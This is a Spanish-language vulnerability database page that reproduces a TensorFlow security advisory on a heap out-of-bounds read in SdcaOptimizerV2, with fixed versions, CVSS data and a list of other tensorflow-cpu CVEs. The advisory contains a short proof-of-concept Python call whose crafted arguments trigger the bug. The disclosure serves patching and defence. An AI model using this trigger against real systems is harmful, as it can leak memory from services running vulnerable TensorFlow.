Media

Heap OOB in `SdcaOptimizerV2`

  • Publicada: 12.08.2021
  • Actualizado: 11.10.2026 13:19

Impact

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.raw_ops.SdcaOptimizerV2:

python
import tensorflow as tf
  
tf.raw_ops.SdcaOptimizerV2(
  sparse_example_indices=[[1]],
  sparse_feature_indices=[[1]],
  sparse_feature_values=[[1.0,2.0]],
  dense_features=[[1.0]],
  example_weights=[1.0],
  example_labels=[],
  sparse_indices=[1],
  sparse_weights=[1.0],
  dense_weights=[[1.0]],
  example_state_data=[[100.0,100.0,100.0,100.0]],
  loss_type='logistic_loss',
  l1=100.0,
  l2=100.0,
  num_loss_partitions=1,
  num_inner_iterations=1,
  adaptive=True)

The implementation does not check that the length of example_labels is the same as the number of examples.

Patches

We have patched the issue in GitHub commit a4e138660270e7599793fa438cd7b2fc2ce215a6.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) tensorflow < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-cpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Python (PyPI) tensorflow-gpu < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1

Referencias

Puntuación CVSS 5.5/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-125
Plataforma
Python (PyPI)
Paquete
tensorflow, tensorflow-cpu, tensorflow-gpu
Publicada
12.08.2021
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2021-294 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-585 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2021-783 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-5hj3-vjjf-f5m7 - CC BY 4.0

Historial de vulnerabilidades: tensorflow-cpu

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (430) en el archivo
Entradas en total
430
Primera → última
04.2019 07.2024
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 6
  • Alta 111
  • Media 208
  • Baja 105

Divulgaciones por año

  1. 2019: 7
  2. 2020: 35
  3. 2021: 200
  4. 2022: 166
  5. 2023: 21
  6. 2024: 1
  7. 2025: 0
  8. 2026: 0
Gravedad:
  1. Alta · 7.5 CVE-2023-33976 < 2.12.1 2.12.1
  2. Alta · 7.5 CVE-2023-25659 < 2.11.1 2.11.1
  3. Alta · 7.5 CVE-2023-25660 < 2.11.1 2.11.1
  4. Alta · 7.5 CVE-2023-25662 < 2.11.1 2.11.1
  5. Alta · 7.5 CVE-2023-25663 < 2.11.1 2.11.1
  6. Alta · 7.5 CVE-2023-25664 < 2.11.1 2.11.1
  7. Alta · 7.5 CVE-2023-25665 < 2.11.1 2.11.1
  8. Alta · 7.5 CVE-2023-25666 < 2.11.1 2.11.1
  9. Alta · 7.5 CVE-2023-25669 < 2.11.1 2.11.1
  10. Alta · 7.5 CVE-2023-25671 < 2.11.1 2.11.1
  11. Alta · 7.5 CVE-2023-25672 < 2.11.1 2.11.1
  12. Alta · 7.5 CVE-2023-25673 < 2.11.1 2.11.1
  13. Alta · 7.5 CVE-2023-25674 < 2.11.1 2.11.1
  14. Alta · 7.5 CVE-2023-25675 < 2.11.1 2.11.1
  15. Alta · 7.5 CVE-2023-25676 < 2.11.1 2.11.1
  16. Alta · 8.0 CVE-2023-25801 < 2.11.1 2.11.1
  17. Alta · 7.5 CVE-2023-27579 < 2.11.1 2.11.1
  18. Alta · 7.5 CVE-2023-25658 < 2.11.1 2.11.1
  19. Alta · 7.1 CVE-2022-41902 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  20. Alta · 7.1 CVE-2022-41900 < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 2.8.4, 2.9.3, 2.10.1
  21. Alta · 7.0 CVE-2022-35939 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  22. Alta · 7.0 CVE-2022-35937 < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 2.7.2, 2.8.1, 2.9.1
  23. Alta · 7.8 CVE-2022-29216 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  24. Alta · 7.1 CVE-2022-29208 < 2.6.4, >= 2.7.0, < 2.7.2, >= 2.8.0, < 2.8.1 2.6.4, 2.7.2, 2.8.1
  25. Crítica · 9.3 ghsa-h6gw-r52c-724r < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  26. Alta · 7.0 ghsa-43q8-3fv7-pr5x < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  27. Alta · 8.8 CVE-2022-23594 >= 2.7.0, < 2.7.1 2.7.1
  28. Alta · 8.8 CVE-2022-23560 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  29. Alta · 7.1 CVE-2022-23563 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  30. Alta · 8.1 CVE-2022-23592 >= 2.7.0, < 2.8.0 2.8.0
  31. Alta · 7.5 CVE-2022-23591 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  32. Alta · 8.8 CVE-2022-23574 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  33. Alta · 7.6 CVE-2022-23573 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  34. Alta · 7.6 CVE-2022-23562 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  35. Alta · 8.8 CVE-2022-23561 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  36. Alta · 8.8 CVE-2022-23559 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  37. Alta · 8.8 CVE-2022-23566 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  38. Alta · 7.6 CVE-2022-23584 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  39. Alta · 7.6 CVE-2022-23558 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  40. Alta · 8.8 CVE-2022-23587 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  41. Alta · 7.6 CVE-2022-21740 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  42. Alta · 6.5 CVE-2022-21741 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  43. Alta · 6.5 CVE-2022-21739 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  44. Alta · 6.5 CVE-2022-21737 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  45. Alta · 6.5 CVE-2022-21738 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  46. Alta · 6.5 CVE-2022-23569 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  47. Alta · 6.5 CVE-2022-21729 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  48. Alta · 6.5 CVE-2022-21734 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  49. Alta · 6.5 CVE-2022-21735 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  50. Alta · 7.6 CVE-2022-21736 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  51. Alta · 6.5 CVE-2022-21731 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  52. Alta · 6.5 CVE-2022-23567 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  53. Alta · 6.5 CVE-2022-23568 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  54. Alta · 8.1 CVE-2022-21726 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  55. Alta · 8.1 CVE-2022-21728 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  56. Alta · 7.6 CVE-2022-21727 < 2.5.3, >= 2.6.0, < 2.6.3 2.5.3, 2.6.3
  57. Alta · 8.1 CVE-2022-21730 < 2.5.3, >= 2.6.0, < 2.6.3, >= 2.7.0, < 2.7.1 2.5.3, 2.6.3, 2.7.1
  58. Alta · 7.8 CVE-2021-41221 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  59. Alta · 7.8 CVE-2021-41220 >= 2.6.0, < 2.6.1 2.6.1
  60. Crítica · 9.3 CVE-2021-41208 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  61. Alta · 7.0 CVE-2021-41206 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  62. Alta · 7.8 CVE-2021-41219 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  63. Alta · 7.8 CVE-2021-41214 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  64. Alta · 7.1 CVE-2021-41212 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  65. Alta · 7.1 CVE-2021-41211 >= 2.6.0, < 2.6.1 2.6.1
  66. Alta · 7.8 CVE-2021-41203 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  67. Alta · 7.1 CVE-2021-41210 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  68. Alta · 7.8 CVE-2021-41201 >= 2.6.0, < 2.6.1, >= 2.5.0, < 2.5.2, < 2.4.4 2.6.1, 2.5.2, 2.4.4
  69. Alta · 7.1 CVE-2021-37679 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  70. Alta · 9.3 CVE-2021-37678 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  71. Heap OOB in `SdcaOptimizerV2` esta entrada
    Media · 5.5 CVE-2021-37672 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  72. Alta · 7.8 CVE-2021-37665 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  73. Alta · 7.8 CVE-2021-37663 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  74. Alta · 7.8 CVE-2021-37689 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  75. Alta · 7.8 CVE-2021-37688 >= 2.5.0, < 2.5.1, >= 2.4.0, < 2.4.3, < 2.3.4 2.5.1, 2.4.3, 2.3.4
  76. Alta · 7.8 CVE-2021-37681 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  77. Alta · 7.8 CVE-2021-37676 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
  78. Alta · 7.8 CVE-2021-37671 < 2.3.4, >= 2.4.0, < 2.4.3, >= 2.5.0, < 2.5.1 2.3.4, 2.4.3, 2.5.1
Mostrar más (20) Mostrando 80 de 118

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.